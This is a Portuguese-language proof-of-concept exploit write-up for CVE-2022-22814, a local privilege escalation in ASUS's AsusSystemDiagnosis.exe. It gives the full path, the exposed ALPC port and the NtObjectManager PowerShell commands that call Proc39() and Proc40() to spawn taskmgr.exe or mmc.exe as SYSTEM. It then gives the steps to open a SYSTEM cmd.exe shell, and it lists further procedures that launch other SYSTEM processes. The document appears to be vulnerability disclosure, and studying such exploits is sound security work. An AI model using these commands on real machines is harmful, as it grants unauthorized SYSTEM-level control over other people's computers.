
Exploit de prova de conceito para CVE-2022-22814 demonstrando escalada de privilégio local no Windows através da interface ALPC RPC vulnerável do ASUS SystemDiagnosis.
Escalação de Privilégio - AsusSystemDiagnosis.exe - Proc39()
Full Path: C:\WINDOWS\System32\DriverStore\FileRepository\asussci2.inf_amd64_d385bdc0d33d66f9\ASUSSystemDiagnosis\AsusSystemDiagnosis.exe
Problema:
A Porta ALPC \RPC Control\ASHWTestServer, exposta por AsusSystemDiagnosis.exe, é totalmente acessível para qualquer usuário. Chamar Proc39() via RPC através desta porta cria um processo taskmgr.exe como SYSTEM na sessão do usuário atual.
Exploração:
Utilizando a ferramenta RPC NtObjectManager do Project Zero de https://github.com/googleprojectzero/sandbox-attacksurface-analysis-tools (certifique-se de usar a versão compilada) a porta RPC vulnerável pode ser conectada, momento em que Proc39() pode ser chamada. Uma vez que o processo SYSTEM taskmgr.exe é criado, um shell cmd.exe pode ser criado utilizando a funcionalidade "Executar Nova Tarefa" através do menu de contexto, Arquivo > Executar Nova Tarefa > cmd.exe.
NtObjectManager:
$server = get-rpcserver C:\WINDOWS\System32\DriverStore\FileRepository\asussci2.inf_amd64_d385bdc0d33d66f9\ASUSSystemDiagnosis\AsusSystemDiagnosis.exe
$client = get-rpcclient $server
$client.connect()
$client.Proc39()
Escalação de Privilégio - AsusSystemDiagnosis.exe - Proc40()
Igual ao anterior, mas cria mmc.exe como SYSTEM. Pode-se criar uma nova tarefa ou usar a funcionalidade de navegação para abrir uma janela explorer.exe e executar cmd.exe a partir da barra de endereços.
Notas Adicionais:
Proc53() - cria systemreset.exe como SYSTEM Proc54() - cria RecoveryDrive.exe como SYSTEM